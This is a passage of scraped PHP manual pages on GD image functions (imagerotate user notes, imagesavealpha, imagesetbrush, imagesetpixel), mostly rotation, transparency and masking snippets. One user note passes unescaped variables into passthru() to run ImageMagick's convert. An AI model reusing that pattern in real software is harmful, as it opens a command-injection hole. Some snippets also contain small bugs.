    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
pilot at myupb dot com 30-May-2008 07:33
Thanks to the people who contributed the code for the 90 180 and 270 rotations. I needed a full implementation however so I wrote one. By no mean do I think this is the best way of doing it, I just whipped this together for myself. Seems to work good for me.

Note: I didn't want the image to be shrunk when rotating so this implementation will keep the size of the original image but just rotate it.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $pi = 3.141592654;
        $theta = $angle * $pi / 180;

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $theta1 = 0;
                $noTranslate = false;

                // Determine the angle of original point
                if($x1 > 0 && $y1 > 0) {
                    // Quadrant 1
                    $theta1 = atan($y1/$x1);
                } elseif($x1 < 0 && $y1 > 0) {
                    // Quadrant 2
                    $theta1 = $pi - atan($y1/abs($x1));
                } elseif($x1 < 0 && $y1 < 0) {
                    // Quadrant 3
                    $theta1 = $pi + atan($y1/$x1);
                } elseif($x1 > 0 && $y1 < 0) {
                    // Quadrant 4
                    $theta1 = 2 * $pi - atan(abs($y1)/$x1);
                } elseif($x1 == 0 && $y1 > 0) {
                    $theta1 = $pi / 2;
                } elseif($x1 == 0 && $y1 < 0) {
                    $theta1 = 3 * $pi / 2;
                } elseif($x1 > 0 && $y1 == 0) {
                    $theta1 = 0;
                } elseif($x1 < 0 && $y1 == 0) {
                    $theta1 = $pi;
                } else {
                    // Only case left should be $x1 == 0 && $y1 == 0
                    $noTranslate = true;
                }

                // Translate the position
                if(!$noTranslate) {
                    // Calculate the new angle
                    $theta2 = $theta1 + $theta;

                    // Make sure theta2 is in between 0 - 2pi
                    while($theta2 < 0) $theta2 += 2 * $pi;
                    while($theta2 > (2 * $pi)) $theta2 -= 2 * $pi;

                    $radius = sqrt($x1*$x1 + $y1*$y1);

                    $x2 = ($radius * cos($theta2));
                    $y2 = ($radius * sin($theta2));
                } else {
                    $x2 = $x1;
                    $y2 = $y1;
                }

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
     * @return array(int $x, int $y)
     */
    function translateCoordinate($originx, $originy, $x, $y, $toComp=true) {
        if($toComp) {
            $newx = $originx + $x;
            $newy = $originy - $y;
        } else {
            $newx = $x - $originx;
            $newy = $originy - $y;
        }

        return array($newx, $newy);
    }
}
?>
achilles 31-Mar-2008 02:02
otimized integration from 23-Feb-2007 04:21
just put it anywhere you like to use imagerotate with 90, 180, 270 degrees.
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($src_img, $angle) {
        $src_x = imagesx($src_img);
        $src_y = imagesy($src_img);
        if ($angle == 180) {
            $dest_x = $src_x;
            $dest_y = $src_y; }
        elseif ($src_x <= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }
        elseif ($src_x >= $src_y) {
            $dest_x = $src_y;
            $dest_y = $src_x; }

        $rotate=imagecreatetruecolor($dest_x,$dest_y);
        imagealphablending($rotate, false);

        switch ($angle) {
            case 270:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $y - 1, $x, $color); }}
                break;
            case 90:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $y, $dest_y - $x - 1, $color); }}
                break;
            case 180:
                for ($y = 0; $y < ($src_y); $y++) {
                    for ($x = 0; $x < ($src_x); $x++) {
                        $color = imagecolorat($src_img, $x, $y);
                        imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color); }}
                break;
            default: $rotate = $src_img; }
        return $rotate; }}
?>
qrgames at NOSPAMTYrushyo dot com 11-Aug-2007 04:06
imagerotate seems to be very fussy about handling transparency when copymerging onto another image. You can use the GD library's other transparency features to cover up the fact imagerotate gets it wrong HOWEVER it will only work if the top-left corner of the image is transparent at all rotations, so make the image a little bigger than it needs to be. This has been tested with png32 but does not work entirely for png8, as a phenomena creates noise around the rotated image.

<?php

$imgImage = imagecreatefrompng("image.png");
$colBlack = imagecolorallocate($imgImage, 0, 0, 0);
$imgImage = imagerotate($imgImage, 360 - $intHeading, 0);
imagefill($imgImage, 0, 0, $colBlack);
imagecolortransparent($imgImage, $colBlack);
imagecopymerge($imgOriginalImage , $imgImage, $intX, $intY, 0, 0, $intHeight, $intWidth, 100);
imagedestroy($imgImage);

?>

Note. $intHeading is in degrees clockwise :)
Thomaschaaf 23-Feb-2007 07:21
<?php
function rotate($degrees)
    {
        if(function_exists("imagerotate"))
            $this->image = imagerotate($this->image, $degrees, 0);
        else
        {
            function imagerotate($src_img, $angle)
            {
                $src_x = imagesx($src_img);
                $src_y = imagesy($src_img);
                if ($angle == 180)
                {
                    $dest_x = $src_x;
                    $dest_y = $src_y;
                }
                elseif ($src_x <= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }
                elseif ($src_x >= $src_y)
                {
                    $dest_x = $src_y;
                    $dest_y = $src_x;
                }

                $rotate=imagecreatetruecolor($dest_x,$dest_y);
                imagealphablending($rotate, false);

                switch ($angle)
                {
                    case 270:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $y - 1, $x, $color);
                            }
                        }
                        break;
                    case 90:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $y, $dest_y - $x - 1, $color);
                            }
                        }
                        break;
                    case 180:
                        for ($y = 0; $y < ($src_y); $y++)
                        {
                            for ($x = 0; $x < ($src_x); $x++)
                            {
                                $color = imagecolorat($src_img, $x, $y);
                                imagesetpixel($rotate, $dest_x - $x - 1, $dest_y - $y - 1, $color);
                            }
                        }
                        break;
                    default: $rotate = $src_img;
                };
                return $rotate;
            }
            $this->image = imagerotate($this->image, $degrees);
        }
    }
?>
m dot quinton at gmail dot com 14-Sep-2006 09:30
with large file, where imagerotate is missing, you can use, when possible "convert" command from ImageMagick. Here is a sample script.

<?php

error_reporting(E_ALL);

header("Content-type: image/png");

$file = 'images/test/imgp2498.jpg';

image_rotate_with_convert($file, 90);

function image_rotate_with_convert($file, $angle){
    passthru("convert -rotate $angle $file -");
}

?>
barbarism at oscillatewildly dot com 17-Apr-2006 07:00
If you pass "-1" into the last param of imagecreatefrompng, it preserves PNG transparently properly!

Exampe:

<?php
    $filename = './documents/135.pdf.png';
    $degrees = 40;

    header('Content-type: image/png');

    $source = imagecreatefrompng($filename);

    $rotate = imagerotate($source, $degrees, -1);

    imagealphablending($rotate, true);
    imagesavealpha($rotate, true);

    imagepng($rotate);
?>
Longhair 13-Apr-2006 02:03
<?php

//KOMPASS //PHP4.0 //GD2

$wert=0; //0-360 degree
$null=46; //Offset
$bgcolor=0x0033CC;
$grad=$wert+$null;
$kompass=imagecreatefromjpeg("bilder/kompass_ohne.jpg");
$nadel=imagecreatefromjpeg("bilder/nadel_bleu.jpg");

$mov_nadel= imagerotate($nadel, $grad, $bgcolor);

$xKom=imagesx($kompass);
$yKom=imagesy($kompass);

$x2Kom=$xKom/2;
$y2Kom=$yKom/2;

$xNad=imagesy($mov_nadel);
$yNad=imagesy($mov_nadel);

$y2Nad=$yNad/2+$x2Kom-$yNad; //92/2=46 + 100-92
$x2Nad=$xNad/2+$y2Kom-$xNad;

imagecopy ( $kompass, $mov_nadel, $x2Nad, $y2Nad, 0, 0, $xNad, $xNad );

header("Content-type: image/jpg");
//wird als JEPG-Bild Ausgegeben
//imagepng($kompass);
imagejpeg($kompass);
//imagegif($nadel);
imagedestroy($nadel);
imagedestroy($kompass);

?>
gareth at crxchaos dot co dot uk 02-Mar-2006 07:19
It's worth noting this function will only rotate true colour images - If you have a 256 colour pallet based image it will not rotate with this. Use the following code to convert the 256 colour image to truecolour first:

<?php

if (!imageistruecolor($im))
{
  $w = imagesx($im);
  $h = imagesy($im);
  $t_im = imagecreatetruecolor($w,$h);
  imagecopy($t_im,$im,0,0,0,0,$w,$h);
  $im = $t_im;
}

?>

I have found no mention of this shortcoming of imagerotate anywhere on the Internet. Hopefully this will limit the number of people who, like me, are trying to troubleshoot a perfectly operation PHP install.
simon_nuttall at hotmail dot com 27-Sep-2005 10:06
The following is potentially useful. It extracts the central largest circle of an image into a square of specified size, and optionally rotates it. The rest of the square is made transparent, so useful for drawing over other images. I've named it after binocular effect because on some old TV shows whenever they show someone looking through binoculars the screen shows a big circular image with black edges.

<?php

function image_binocular_effect($src, $bearing, $out_square) {
 // the source image is resampled to fit within the specified square, and rotated clockwise by bearing.
 // the largest circle within the image is retained, the rest made transparent.
 $out = imagecreatetruecolor($out_square, $out_square);
 $width=imagesx($src);
 $height=imagesy($src);
 $square=min($width, $height);
 imagecopyresampled($out, $src, 0, 0, ($width - $square)/2 , ($height - $square)/2, $out_square, $out_square, $square, $square);

 $mask = imagecreatetruecolor($out_square, $out_square);
 $black = ImageColorAllocate ($mask, 0, 0, 0);
 $white = ImageColorAllocate ($mask, 255, 255, 255);
 imagefilledrectangle($mask , 0, 0, $out_square, $out_square, $white);
 $centrexy=$out_square / 2;
 imagefilledellipse($mask, $centrexy, $centrexy, $out_square, $out_square, $black);
 ImageColorTransparent($mask, $black);
 imagecopymerge($out, $mask,  0, 0, 0, 0, $out_square, $out_square, 100);
 if ($bearing != 0) {
  $rotated_img=imagerotate($out , 360-$bearing, $white);
  // take off only the rotated width
  $rotated_map_width = imagesx($rotated_img);
  $rotated_map_height = imagesy($rotated_img);
  imagecopy($out, $rotated_img, 0, 0, ($rotated_map_width - $out_square) / 2, ($rotated_map_height - $out_square) / 2, $out_square, $out_square);
  }
 ImageColorTransparent($out, $white);
 return $out;
}

// Create a sample image to demonstrate the effect, but looks much better on real photos.

$src = imagecreatetruecolor(200, 50);
imagefilledrectangle($src, 0, 0, 200, 50, imagecolorallocate($src, 255, 255, 255));
ImageString($src, 3, 10, 10, "This is a sample image to illustrate the binocular effect", imagecolorallocate($im, 192, 0, 0));
$img=image_binocular_effect($src, 72, 50);
ImagePNG($img,"test.png");

?>
wulff at fyens dot dk 01-Mar-2005 01:22
I liked the rotateImageBicubic function implemented by darren at lucidtone dot com. But it just snipped off the parts of the image that were outside the original image.

I fixed this, even though I admit that my solution is a bit naive. But it might come in handy for somebody.

Also his bicubic implementation was broken on my machine so I left it out, if you need it just copy and paste it from above.

<?php

// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotate($src_img, $angle, $bicubic=false) {

   // convert degrees to radians
   $angle = $angle + 180;
   $angle = deg2rad($angle);

   $src_x = imagesx($src_img);
   $src_y = imagesy($src_img);

   $center_x = floor($src_x/2);
   $center_y = floor($src_y/2);

   $cosangle = cos($angle);
   $sinangle = sin($angle);

   $corners=array(array(0,0), array($src_x,0), array($src_x,$src_y), array(0,$src_y));

   foreach($corners as $key=>$value) {
     $value[0]-=$center_x;        //Translate coords to center for rotation
     $value[1]-=$center_y;
     $temp=array();
     $temp[0]=$value[0]*$cosangle+$value[1]*$sinangle;
     $temp[1]=$value[1]*$cosangle-$value[0]*$sinangle;
     $corners[$key]=$temp;
   }

   $min_x=1000000000000000;
   $max_x=-1000000000000000;
   $min_y=1000000000000000;
   $max_y=-1000000000000000;

   foreach($corners as $key => $value) {
     if($value[0]<$min_x)
       $min_x=$value[0];
     if($value[0]>$max_x)
       $max_x=$value[0];

     if($value[1]<$min_y)
       $min_y=$value[1];
     if($value[1]>$max_y)
       $max_y=$value[1];
   }

   $rotate_width=round($max_x-$min_x);
   $rotate_height=round($max_y-$min_y);

   $rotate=imagecreatetruecolor($rotate_width,$rotate_height);
   imagealphablending($rotate, false);
   imagesavealpha($rotate, true);

   //Reset center to center of our image
   $newcenter_x = ($rotate_width)/2;
   $newcenter_y = ($rotate_height)/2;

   for ($y = 0; $y < ($rotate_height); $y++) {
     for ($x = 0; $x < ($rotate_width); $x++) {
       // rotate...
       $old_x = round((($newcenter_x-$x) * $cosangle + ($newcenter_y-$y) * $sinangle))
         + $center_x;
       $old_y = round((($newcenter_y-$y) * $cosangle - ($newcenter_x-$x) * $sinangle))
         + $center_y;

       if ( $old_x >= 0 && $old_x < $src_x
             && $old_y >= 0 && $old_y < $src_y ) {

           $color = imagecolorat($src_img, $old_x, $old_y);
       } else {
         // this line sets the background colour
         $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
       }
       imagesetpixel($rotate, $x, $y, $color);
     }
   }

  return($rotate);
}

?>
Borszczuk 05-Jan-2005 05:21
Here's a function that implements right angle (multiplicity of 90 degs - 90, 180, 270) rotation if you need one but lacks native imagerotate() or you don't want non-square images to be scaled down as with imagerotate(). As you probably noticed it's not self contained function, as 180 rotation is handled by ImageFlip() function to gain the performance. The ImageFlip() function used is published here: http://php.net/imagecopy in the comment of mine placed on  05-Jan-2005 04:30

Please note: that in case of 0 degrees rotation handle to imgSrc is returned which may lead to problems if you imagedestroy() it undonditionaly. To solve that you shall add imagecopy($imgDest, $imgSrc, 0,0, 0,0,$srcX, $srcY)  in proper place which I have intentionally ommited to save memory resources

<?php

// $imgSrc - GD image handle of source image
// $angle - angle of rotation. Needs to be positive integer
// angle shall be 0,90,180,270, but if you give other it
// will be rouned to nearest right angle (i.e. 52->90 degs,
// 96->90 degs)
// returns GD image handle of rotated image.
function ImageRotateRightAngle( $imgSrc, $angle )
{
    // ensuring we got really RightAngle (if not we choose the closest one)
    $angle = min( ( (int)(($angle+45) / 90) * 90), 270 );

    // no need to fight
    if( $angle == 0 )
        return( $imgSrc );

    // dimenstion of source image
    $srcX = imagesx( $imgSrc );
    $srcY = imagesy( $imgSrc );

    switch( $angle )
        {
        case 90:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $srcY-$y-1, $x, $x, $y, 1, 1);
            break;

        case 180:
            $imgDest = ImageFlip( $imgSrc, IMAGE_FLIP_BOTH );
            break;

        case 270:
            $imgDest = imagecreatetruecolor( $srcY, $srcX );
            for( $x=0; $x<$srcX; $x++ )
                for( $y=0; $y<$srcY; $y++ )
                    imagecopy($imgDest, $imgSrc, $y, $srcX-$x-1, $x, $y, 1, 1);
            break;
        }

    return( $imgDest );
}
?>
darren at lucidtone dot com 07-Dec-2004 08:43
Here's a neat function for those of us who don't have imagerotate() on our servers.  It's based on a comment from ron at korving dot demon dot nl on the manual page for imagecopyresampled.

I'm still not 100% on coping with transparency, but this function seems to cope okay.  It doesn't resize to fit within bounds, it just rotates and you lose anything outside the image box.

The bicubic mode is slooow.

If you want to be able to change the background colour, pass in a colour and use it where indicated.  The line I used just sets it transparent.

<?php
// $src_img - a GD image resource
// $angle - degrees to rotate clockwise, in degrees
// returns a GD image resource
// USAGE:
// $im = imagecreatefrompng('test.png');
// $im = imagerotate($im, 15);
// header('Content-type: image/png');
// imagepng($im);
function imageRotateBicubic($src_img, $angle, $bicubic=false) {

    // convert degrees to radians
    $angle = $angle + 180;
    $angle = deg2rad($angle);

    $src_x = imagesx($src_img);
    $src_y = imagesy($src_img);

    $center_x = floor($src_x/2);
    $center_y = floor($src_y/2);

    $rotate = imagecreatetruecolor($src_x, $src_y);
    imagealphablending($rotate, false);
    imagesavealpha($rotate, true);

    $cosangle = cos($angle);
    $sinangle = sin($angle);

    for ($y = 0; $y < $src_y; $y++) {
      for ($x = 0; $x < $src_x; $x++) {
    // rotate...
    $old_x = (($center_x-$x) * $cosangle + ($center_y-$y) * $sinangle)
      + $center_x;
    $old_y = (($center_y-$y) * $cosangle - ($center_x-$x) * $sinangle)
      + $center_y;

    if ( $old_x >= 0 && $old_x < $src_x
         && $old_y >= 0 && $old_y < $src_y ) {
      if ($bicubic == true) {
        $sY  = $old_y + 1;
        $siY  = $old_y;
        $siY2 = $old_y - 1;
        $sX  = $old_x + 1;
        $siX  = $old_x;
        $siX2 = $old_x - 1;

        $c1 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY2));
        $c2 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX, $siY));
        $c3 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY2));
        $c4 = imagecolorsforindex($src_img, imagecolorat($src_img, $siX2, $siY));

        $r = ($c1['red']  + $c2['red']  + $c3['red']  + $c4['red']  ) << 14;
        $g = ($c1['green'] + $c2['green'] + $c3['green'] + $c4['green']) << 6;
        $b = ($c1['blue']  + $c2['blue']  + $c3['blue']  + $c4['blue'] ) >> 2;
        $a = ($c1['alpha']  + $c2['alpha']  + $c3['alpha']  + $c4['alpha'] ) >> 2;
        $color = imagecolorallocatealpha($src_img, $r,$g,$b,$a);
      } else {
        $color = imagecolorat($src_img, $old_x, $old_y);
      }
    } else {
          // this line sets the background colour
      $color = imagecolorallocatealpha($src_img, 255, 255, 255, 127);
    }
    imagesetpixel($rotate, $x, $y, $color);
      }
    }
    return $rotate;
}
?>
jon at driestone dot com 07-Oct-2004 08:42
imagerotate does not preserve the alpha channel, so if you want to rotate a PNG you need to get
creative. I don't see any command to retrieve the alpha information from an image (as far as
I could see,) so you'll have to do a bit of manual labor before hand. In my case I created a
second PNG file with the alpha saved as RGB data and manually "copied" the data from source
to destination:

<?php
    function alpha_rotate($dst,$src,$rotate,$offsetX,$offsetY){

        $top = imagecreatefrompng("image_processing/shadow.png");
        $top_alpha = imagecreatefrompng("image_processing/shadow_alpha.png");

        imagecopyresampled($top,$src,0,0,0,0,100,100,100,100);

        $top = imagerotate($top,$rotate,0x000000);
        $top_alpha = imagerotate($top_alpha,$rotate,0x000000);

        for ($theX=0;$theX<imagesx($top);$theX++){
            for ($theY=0;$theY<imagesy($top);$theY++){

                $rgb = imagecolorat($top,$theX,$theY);
                $r = ($rgb >> 16) & 0xFF;
                $g = ($rgb >> 8) & 0xFF;
                $b = $rgb & 0xFF;

                $rgb = imagecolorat($top_alpha,$theX,$theY);
                $a = $rgb & 0xFF;
                $a = 127-floor($a/2);

                $myColor = imagecolorallocatealpha($top,$r,$g,$b,$a);
                imagesetpixel($dst,($theX+$offsetX),($theY+$offsetY),$myColor);
            }
        }
    }
?>
christoph (at) raketenbasis (dot) de 04-Oct-2004 12:41
The default direction of imageRotate() is counter clockwise. Heres a little function which solves the problem.

<?php

    function rotate(&$image_source, $rotate_value, $rotate_clockwise = true) {
        if($rotate_clockwise == true) {
            $rotate_value = 360 - $rotate_value;
        }
        $image_source = imageRotate($image_source, $rotate_value, 0);
    }

?>
imagerectangle
imagesavealpha
GD and Image Functions


Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images

imagerotate
imagesetbrush
GD and Image Functions
PHP Manual

imagesavealpha

(PHP 4 >= 4.3.2, PHP 5)

imagesavealpha — Set the flag to save full alpha channel information (as opposed to single-color transparency) when saving PNG images

Description

bool imagesavealpha ( resource $image , bool $saveflag )

imagesavealpha() sets the flag to attempt to save full alpha channel information (as opposed to single-color transparency) when saving PNG images.

You have to unset alphablending (imagealphablending($im, false)), to use it.

Alpha channel is not supported by all browsers, if you have problem with your browser, try to load your script with an alpha channel compliant browser, e.g. latest Mozilla.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

saveflag

Whether to save the alpha channel or not. Default to FALSE.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesavealpha() example

<?php
// Load a png image with alpha channels
$png = imagecreatefrompng('./alphachannel_example.png');

// Do required operations

// Turn off alpha blending and set alpha flag
imagealphablending($png, false);
imagesavealpha($png, true);

// Output image to browser
header('Content-Type: image/png');

imagepng($png);
imagedestroy($png);
?>

Notes

Note: This function requires GD 2.0.1 or later (2.0.28 or later is recommended).

See Also

  • imagealphablending() - Set the blending mode for an image

User Contributed Notes

ray hatfield 23-Feb-2011 11:01
After much trial and error and gnashing of teeth I finally figured out how to composite a png with an 8-bit alpha onto a jpg. This was not obvious to me so I thought I'd share. Hope it helps.

I'm using this to create a framed thumbnail image:

<?php
// load the frame image (png with 8-bit transparency)
$frame = imagecreatefrompng('path/to/frame.png');

// load the thumbnail image
$thumb = imagecreatefromjpeg('path/to/thumbnail.jpg');

// get the dimensions of the frame, which we'll also be using for the
// composited final image.
$width = imagesx( $frame );
$height = imagesy( $frame );

// create the destination/output image.
$img=imagecreatetruecolor( $width, $height );

// enable alpha blending on the destination image.
imagealphablending($img, true);

// Allocate a transparent color and fill the new image with it.
// Without this the image will have a black background instead of being transparent.
$transparent = imagecolorallocatealpha( $img, 0, 0, 0, 127 );
imagefill( $img, 0, 0, $transparent );

// copy the thumbnail into the output image.
imagecopyresampled($img,$thumb,32,30,0,0, 130, 100, imagesx( $thumb ), imagesy( $thumb ) );

// copy the frame into the output image (layered on top of the thumbnail)
imagecopyresampled($img,$frame,0,0,0,0, $width,$height,$width,$height);

imagealphablending($img, false);

// save the alpha
imagesavealpha($img,true);

// emit the image
header('Content-type: image/png');
imagepng( $img );

// dispose
imagedestroy($img);

// done.
exit;
?>
tobias at silverxnet dot de 06-Dec-2009 06:07
As I needed a function that enables me to put a separate mask into the alpha channel of a picture, I found there is no function to allow this directly via PHP/GD, hence I wrote a quick'n'dirty function that does the trick.

For the mask any format is fine (jpg, png, gif, ...). Black will be transparent, white will be opaque - greyscale makes it half transparent, like with any alpha channel. The alpha channel is only 7 bit, hence there are just 128 variations of transparency possible.

I use the red channel, for the transparency, so you can make it either greyscale or redscale, doesn't matter.

<?php
function imagealphamask( &$picture, $mask ) {
    // Get sizes and set up new picture
    $xSize = imagesx( $picture );
    $ySize = imagesy( $picture );
    $newPicture = imagecreatetruecolor( $xSize, $ySize );
    imagesavealpha( $newPicture, true );
    imagefill( $newPicture, 0, 0, imagecolorallocatealpha( $newPicture, 0, 0, 0, 127 ) );

    // Resize mask if necessary
    if( $xSize != imagesx( $mask ) || $ySize != imagesy( $mask ) ) {
        $tempPic = imagecreatetruecolor( $xSize, $ySize );
        imagecopyresampled( $tempPic, $mask, 0, 0, 0, 0, $xSize, $ySize, imagesx( $mask ), imagesy( $mask ) );
        imagedestroy( $mask );
        $mask = $tempPic;
    }

    // Perform pixel-based alpha map application
    for( $x = 0; $x < $xSize; $x++ ) {
        for( $y = 0; $y < $ySize; $y++ ) {
            $alpha = imagecolorsforindex( $mask, imagecolorat( $mask, $x, $y ) );
            $alpha = 127 - floor( $alpha[ 'red' ] / 2 );
            $color = imagecolorsforindex( $picture, imagecolorat( $picture, $x, $y ) );
            imagesetpixel( $newPicture, $x, $y, imagecolorallocatealpha( $newPicture, $color[ 'red' ], $color[ 'green' ], $color[ 'blue' ], $alpha ) );
        }
    }

    // Copy back to original picture
    imagedestroy( $picture );
    $picture = $newPicture;
}
?>

To use the function is rather simple:
<?php
// Load source and mask
$source = imagecreatefrompng( 'myPicture.png' );
$mask = imagecreatefrompng( 'myMask.png' );

// Apply mask to source
imagealphamask( $source, $mask );

// Output
header( "Content-type: image/png");
imagepng( $source );
?>

Hope it helps!
phil at unabacus dot net 23-Apr-2008 06:47
The comment left by "doggz at mindless dot com" will cause a duplication in layering of the transparent image - AlphaImageLoader loads the image as if it were a floating layer on top of the <img> element - so your image will double up.. so don't go thinking something very strange is happening with your PHP it's the silly browser ;)

The easiest (although not the best) way to get around this is to use the CSS background property instead of an image src - because as of yet you can't change an image's src dynamically using currently supported CSS:

<div style="width:200px; height:200px; background: url(my-trans-image.php); *background:url(); *filter:progid:
DXImageTransform.Microsoft.AlphaImageLoader(src='my-trans-image.php', sizingMethod='scale');"></div>

The above (although not pretty) keeps the image loaded as a background for any good browser as they should ignore the starred (*) CSS items and should support Alpha PNGs natively. IE will listen to the starred items and blank out the background whilst applying it's AlphaLoader on top. Obviously you need to know the width and height of your image but you can get this using getimagesize() or just by hardcoding.

Downsides to know:

1. Unless the user has 'backgrounds enabled when printing' your image wont show up when the webpage is printed.

2. You can't stretch or shrink a background image - if you change the div's dimensions from that of the image you will stretch it in IE (due to the 'scale' property - which you can change for sake of standardness to 'crop') but you will crop it in any other browser.

3. Most browsers treat images and backgrounds differently, in load priority and in the way the user can interact with them.

Other Options:

Other methods resort to using JavaScript or Browser Detection on the Server Side.
doggz at mindless dot com 05-Oct-2003 09:50
To use PNG-24 in IE 5.5+ try:
<img alt="Transparant PNG" src="myimage.gif" style="width: 200px; height: 200px; filter:progid:
DXImageTransform.Microsoft.AlphaImageLoader(src='myimage.png', sizingMethod='scale')" />

there is more info available at http://people.brandeis.edu/~peelle/png/
imagerotate
imagesetbrush
GD and Image Functions


Set the brush image for line drawing

imagesavealpha
imagesetpixel
GD and Image Functions
PHP Manual

imagesetbrush

(PHP 4 >= 4.0.6, PHP 5)

imagesetbrush — Set the brush image for line drawing

Description

bool imagesetbrush ( resource $image , resource $brush )

imagesetbrush() sets the brush image to be used by all line drawing functions (such as imageline() and imagepolygon()) when drawing with the special colors IMG_COLOR_BRUSHED or IMG_COLOR_STYLEDBRUSHED.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

brush

An image resource.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesetbrush() example

<?php
// Load a mini php logo
$php = imagecreatefrompng('./php.png');

// Create the main image, 100x100
$im = imagecreatetruecolor(100, 100);

// Fill the background with white
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 299, 99, $white);

// Set the brush
imagesetbrush($im, $php);

// Draw a couple of brushes, each overlaying each
imageline($im, 50, 50, 50, 60, IMG_COLOR_BRUSHED);

// Output image to the browser
header('Content-type: image/png');

imagepng($im);
imagedestroy($im);
imagedestroy($php);
?>

The above example will output something similar to:

Output of example : imagesetbrush()

Notes

Note:

You need not take special action when you are finished with a brush, but if you destroy the brush image, you must not use the IMG_COLOR_BRUSHED or IMG_COLOR_STYLEDBRUSHED colors until you have set a new brush image!

User Contributed Notes

brent at ebrent dot net 31-Jul-2006 10:54
Use a brush to create a thick line.

To create a 3x3 red brush:

<?php
$brush_size = 3;
$brush = imagecreatetruecolor($brush_size,$brush_size);
$brush_color = imagecolorallocate($brush,255,0,0);
imagefill($brush,0,0,$brush_color);
imagesetbrush($im,$brush);
?>

Then use imageline() or imagepolygon() with IMG_COLOR_BRUSHED as the color.

To stop using the brush, destroy it:

<?php imagedestroy($brush); ?>

The brush can also be created from an existing image.
imagesavealpha
imagesetpixel
GD and Image Functions


Set a single pixel

imagesetbrush
imagesetstyle
GD and Image Functions
PHP Manual

imagesetpixel

(PHP 4, PHP 5)

imagesetpixel — Set a single pixel

Description

bool imagesetpixel ( resource $image , int $x , int $y , int $color )

imagesetpixel() draws a pixel at the specified coordinate.

Parameters

image

An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

x

x-coordinate.

y

y-coordinate.

color

A color identifier created with imagecolorallocate().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 imagesetpixel() example

A random drawing that ends with a regular picture.

<?php

$x = 200;
$y = 200;

$gd = imagecreatetruecolor($x, $y);

$corners[0] = array('x' => 100, 'y' =>  10);
$corners[1] = array('x' =>   0, 'y' => 190);
$corners[2] = array('x' => 200, 'y' => 190);

$red = imagecolorallocate($gd, 255, 0, 0);

for ($i = 0; $i < 100000; $i++) {
  imagesetpixel($gd, round($x),round($y), $red);
  $a = rand(0, 2);
  $x = ($x + $corners[$a]['x']) / 2;
  $y = ($y + $corners[$a]['y']) / 2;
}

header('Content-Type: image/png');
imagepng($gd);

?>

The above example will output something similar to:

Output of example : imagesetpixel()

See Also

  • imagecreatetruecolor() - Create a new true color image
